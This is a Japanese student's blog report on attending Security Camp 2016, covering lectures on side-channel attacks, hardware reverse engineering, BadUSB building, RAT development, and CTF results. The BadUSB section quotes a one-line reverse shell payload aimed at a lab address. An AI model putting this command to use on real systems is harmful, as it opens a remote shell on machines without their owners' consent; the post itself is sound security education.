セキュリティキャンプ2016 全国大会 参加報告・感想
はじめに
8月13日時点で、書きかけです。
ちゃんとしたものは、院試が終わってからになります。
院試が終わりました。結果はどこかで報告してると思います。
seccamp CTFのwriteupは、SANSやらgit challengeが終わってから別記事として挙げます。
(2016/08/18)
チーム名は「一対三」と書いて、「ゔぃむのかち」と読みます。
チーム4人の中で、Vim派が3人、Emacs派が1人だったのが由来です。
参加した講義一覧
各講義内容に関しては、後で書きます
ハードウェアよりなのはご愛嬌。
専門講義1:1-C 公開鍵暗号のハードウェア実装と攻撃~ICカードが持つ脆弱性とその対策~ 専門講義2:2-B 謎マシンでNetBSDのクロス開発体験 専門講義3:3-B フィジカル・リバースエンジニアリング入門 専門講義4:4-C オンラインゲームアタック&ディフェンスチャレンジ 専門講義5:5-B USBメモリからブートしてみよう 専門講義6:6-B AVRマイコンで作るBadUSB自作 専門講義7:7-C 遠隔操作マルウェアと標的型攻撃からの防衛
公開鍵暗号のハードウェア実装と攻撃~ICカードが持つ脆弱性とその対策~
サイドチャネル攻撃を実践してみる講義。
サイドチャネル攻撃の学習用ボードを用いた演習で、RSAとAESの秘密鍵を解析した。
RSAは、計算する回路の違いから電圧に差が生じるので、オシロスコープを見ながら、鍵を推定した。
AESは、ノイズの影響が大きく、多量のサンプリングを取って解析した。サンプリングしたデータから、鍵を推定する過程は、元から用意されていたツールを使ったので、詳細は分からなかった。
サイドチャネル攻撃を知識としてしか知らなかったので、実践できたのがとても良かった。
謎マシンでNetBSDのクロス開発体験
VMでNetBSDを動作させ、その上でRaspberry Piで動作するカーネルをビルドした。
僕の環境では、カーネルを書き換えて動作させたところ、dhcpdあたりで処理が止まってしまった。
LANケーブルを繋がないと、正常に処理が進んでいくので、dhcpdに関するビルドが失敗もしくはバグだと思う。
Raspberry Piをbaremetalさせるときに、クロスコンパイルを整備したことがあるが、NetBSDだととても簡単にできた(そもそもデフォルトで揃っていた?)。
フィジカル・リバースエンジニアリング入門
よく分からない基盤を渡され、そこから解析をしていく講義。
まずは、基盤上にあるチップの型番を調べ、リファレンスシートが探し、リファレンスシートを読みながら、UARTやJTAGがないか探した。
実際に、UARTからログを抜き出し、どのような情報があるのか調査した。
ROMの開始アドレスやサイズなどを調べた。
オンラインゲームアタック&ディフェンスチャレンジ
この講義が一番辛かった。
「Node.jsわからん!Web無理!」以上です。
精進します。
USBメモリからブートしてみよう
USBのMBRに命令書き込んで、OSを介さずにHello World!する講義。
講義資料として頂いた本の表紙が可愛い。
自作エミュレータで学ぶx86アーキテクチャ コンピュータが動く仕組みを徹底理解!
- 作者: 内田公太,上川大介
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/08/28
- メディア: Kindle版
- この商品を含むブログを見る
AVRマイコンで作るBadUSB自作
AVRマイコンを使って、BadUSBを作ってみる講義。AVRマイコンは、PS/2キーボードのキー入力をエミュレートし、PS/2-USB変換アダプターでPCに接続するといった感じ。
Windowsに対して、電源を落とすBasUSBを作った。
「Alt + F4」と「 Enter」を押すだけ。
Linux(もしくはそれに準ずる感じのOS)に対して、リバースシェルを貼るBadUSBも作った。
「sh -i >& /dev/tcp/10.0.0.1/8080 0>&1」を入力するだけ。
他の参加者の作ったBadUSBを見て回って、キーボードをエミュレートしてるだけでも、色々な事ができる事を知った。
遠隔操作マルウェアと標的型攻撃からの防衛
個人的に雲の上の存在だと思っていた凌さんの講義。他の講師に関しては、名前聞いた事あるなーぐらいしか思わなかったが、凌さんにお会いできた時は感動した。そもそも実在したんだとさえ思った。
ShinoBotでのマルウェア体験や、RAT(Remote Access Trojan / Remote Administration Tool)の開発をした。
無限CDトレー開き最高!
tweetは、マルウェア体験中にwebカメラで撮影されていたもの。
【2016'夏の思い出】
— Shøta Shinogۜi ♾ (@Sh1n0g1) 2016年8月18日
セキュリティ・キャンプの講義でShinoBOT経由で撮られたWebカメラの画像。#seccamp pic.twitter.com/HQUY0sUE1K
seccamp CTF
結果は、3位。
競技時間中に解けたのは3問。
放置したのが2問。
競技中はノータッチだったけど、あとからやってみて解けたのが2問でした。
競技中、インターネットに接続できなくて無限に辛かった。
競技用のイメージが配布されるらしいので、ある程度解いたらwriteup書きます。
グループワーク
結果は、ナイスファイト賞
たぶん、投票数的に次点。
内容は、YouTuberによるITモラルを伝える動画の配信
会場の笑いを取れたので満足した。
結構いいアイディアだったなと自画自賛してるのは内緒
感想
たのしかった。
あと煽られすぎた。理由のない唐突なプロはやめて
さいごに
参加者、チューター、講師、運営の皆様方のおかげで、とても楽しく刺激的な5日間でした。
本当にありがとうございました!
来年はチューターとして参加できるように、どんどんアウトプットしていきたいです。